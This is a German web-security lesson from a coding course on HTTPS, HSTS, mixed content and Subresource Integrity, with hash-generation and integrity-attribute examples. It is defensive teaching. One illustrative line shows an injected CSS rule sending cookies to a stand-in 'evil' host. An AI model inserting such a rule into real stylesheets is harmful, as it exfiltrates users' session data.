HTTPS und Subresource Integrity
Überprüfen Sie die Integrität externer Ressourcen mit dem integrity-Attribut
HTTPS und Subresource Integrity ist eine kostenlose HTML Academy-Lektion auf CoddyKit. Dies ist Lektion 4 von 4. Du kannst die komplette Lektion unten kostenlos lesen – dann übst du sie direkt im Browser mit einem integrierten Code-Editor und einem KI-Tutor rund um die Uhr. Sie ist Teil des HTML Academy-Lernpfads, und dein Fortschritt wird über Web und CoddyKit-App synchronisiert. Der HTML Academy-Kurs umfasst insgesamt 4 Lektionen.
Warum überall HTTPS?
HTTPS verschlüsselt Daten während der Übertragung und authentifiziert den Server. Ohne HTTPS können Angreifer im selben Netzwerk (Café-WLAN, Internetanbieter, staatliche Akteure) jedes Byte lesen und schädliche Inhalte in Antworten einschleusen. Moderne Browser kennzeichnen HTTP-Seiten als "Nicht sicher", und viele APIs (Kamera, Geolocation, Service Worker) verweigern den Betrieb über HTTP.
Gemischte Inhalte
Das Laden von HTTP-Ressourcen auf einer HTTPS-Seite wird als gemischter Inhalt bezeichnet. Der Browser blockiert aktive gemischte Inhalte (Skripte, iframes, Stylesheets) vollständig und warnt bei passiven Inhalten (Bildern). Laden Sie immer jede Ressource über HTTPS; verwenden Sie protokollrelative URLs (//cdn.example.com) oder absolute https://-URLs.
HSTS
HTTP Strict Transport Security weist Browser über den Antwort-Header Strict-Transport-Security an, künftig HTTP-Verbindungen zu Ihrer Domain abzulehnen. Sobald HSTS im Cache gespeichert ist, kann ein Angreifer einen Benutzer selbst bei einer Man-in-the-Middle-Position nicht auf HTTP zurückstufen.
Warum SRI?
Das Laden von Skripten von Drittanbieter-CDNs ist bequem, aber riskant — wenn das CDN kompromittiert wird, kann ein Angreifer das Skript durch Schadsoftware ersetzen. Subresource Integrity (SRI) veranlasst den Browser, vor der Ausführung den kryptografischen Hash der Datei zu überprüfen, und verweigert die Ausführung, wenn der Hash nicht übereinstimmt.
Das integrity-Attribut
Fügen Sie dem script-Tag einen base64-kodierten SHA-256/384/512-Hash hinzu: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. Der Browser berechnet den Hash der heruntergeladenen Datei und verweigert bei einer Abweichung die Ausführung.
<link
rel="stylesheet"
href="https://cdn.example.com/styles.css"
integrity="sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh"
crossorigin="anonymous">Hashes erzeugen
Erzeugen Sie den Hash mit openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. Alternativ können Sie ein Build-Tool-Plugin verwenden, das das integrity-Attribut automatisch erzeugt. Die meisten CDNs (jsdelivr, unpkg) zeigen das SRI-Tag in ihrem Kopier-und-Einfügen-Snippet an.
crossorigin erforderlich
SRI erfordert, dass die Cross-Origin-Antwort die Integritätsprüfung per CORS erlaubt. Fügen Sie crossorigin="anonymous" zum Tag hinzu und stellen Sie sicher, dass das CDN Access-Control-Allow-Origin sendet. Ohne dieses Attribut verweigert der Browser die Überprüfung, und die Ressource wird nicht geladen.
Mehrere Hashes
Das integrity-Attribut kann mehrere durch Leerzeichen getrennte Hashes enthalten. Das ist während eines Versionswechsels nützlich: Listen Sie die Hashes sowohl der alten als auch der neuen Version auf, und der Browser akzeptiert die vom CDN bereitgestellte Version. Vermeiden Sie mehr als ein paar Hashes, damit das Attribut lesbar bleibt.
SRI für Stylesheets
SRI schützt auch <link rel="stylesheet">. Eine kompromittierte CSS-Datei ist weniger unmittelbar gefährlich als ein kompromittiertes Skript, aber eingeschleustes background: url("//evil/log?cookie=...") kann dennoch Daten ausleiten. Wenden Sie SRI nach Möglichkeit auf jedes externe Asset an.
Self-Hosting ist oft die bessere Wahl
SRI mindert das Risiko einer CDN-Kompromittierung, löst aber nicht jedes Problem: Eine Hash-Änderung beim CDN lässt Ihre Seite ausfallen, bis Sie das integrity-Attribut aktualisieren. Hosten Sie kritische Bibliotheken selbst — dadurch entfallen SRI-Pinning und das Risiko der Lieferkette in einem Schritt.
Leistung
SRI fügt pro Ressource eine Hash-Berechnung hinzu — auf moderner Hardware vernachlässigbar, mit wenigen Mikrosekunden pro Kilobyte. Der Schutz vor Angriffen auf die Lieferkette überwiegt die Kosten bei Weitem. Es gibt keinen Grund aus Performance-Sicht, bei Ressourcen aus einem CDN auf SRI zu verzichten.
Einschränkungen
SRI überprüft bestimmte Bytes — es schützt nicht davor, dass das CDN verschiedenen Benutzern unterschiedliche Dateien liefert (gezielte Auswahl). Für maximale Sicherheit kombinieren Sie SRI mit HTTPS, HSTS, CSP und Self-Hosting der wichtigsten Assets.
Wissensüberprüfung
Wovor schützt das integrity-Attribut eines script-Tags?
Zusammenfassung
HTTPS verschlüsselt und authentifiziert, HSTS verhindert Downgrade-Angriffe, und SRI überprüft, dass Dateien von Drittanbietern nicht manipuliert wurden. Fügen Sie jedem externen Skript und Stylesheet aus einem CDN, das Sie nicht kontrollieren, Integritäts-Hashes (mit crossorigin="anonymous") hinzu. Hosten Sie die wichtigsten Assets stattdessen selbst — so entfällt das Risiko der Lieferkette vollständig.
Häufig gestellte Fragen
Ist die Lektion „HTTPS und Subresource Integrity“ kostenlos?
Ja — der vollständige Text von „HTTPS und Subresource Integrity“ ist hier im Web kostenlos zu lesen. Um sie interaktiv zu üben (integrierter Code-Editor und 24/7 KI-Tutor) und den Rest des HTML Academy-Kurses freizuschalten, upgrade auf CoddyKit PRO. Der HTML Academy-Kurs umfasst insgesamt 4 Lektionen.
Was lerne ich in „HTTPS und Subresource Integrity“?
Überprüfen Sie die Integrität externer Ressourcen mit dem integrity-Attribut Du übst HTML Academy mit praktischem Code, den du direkt im Browser ausführst, und ein 24/7 KI-Tutor beantwortet deine Fragen während du die Lektion bearbeitest.
Brauche ich Erfahrung, um HTML Academy zu starten?
Keine Vorkenntnisse erforderlich. HTML Academy auf CoddyKit ist für Anfänger bis fortgeschrittene Lernende strukturiert, sodass du hier starten oder von Anfang an beginnen und in deinem eigenen Tempo voranschreiten kannst. Dies ist Lektion 4 von 4.
Wie lange dauert die Lektion „HTTPS und Subresource Integrity“?
Die meisten CoddyKit-Lektionen dauern etwa 5–10 Minuten. Jede ist kompakt und interaktiv, sodass du stetig Fortschritte machst und genau dort weitermachst, wo du aufgehört hast – im Web und in der App.
Kann ich in dieser HTML Academy-Lektion Code schreiben und ausführen?
Ja. Jede HTML Academy-Lektion enthält einen integrierten Code-Editor, sodass du echten Code direkt in deinem Browser schreibst und ausführst und sofort KI-Feedback erhältst — ohne lokale Einrichtung erforderlich.
Alle Lektionen in diesem Kurs
- Content Security Policy: meta http-equiv
- XSS mit innerHTML und wie Sie es verhindern
- iframe-Sandboxing und Permissions Policy
- HTTPS und Subresource Integrity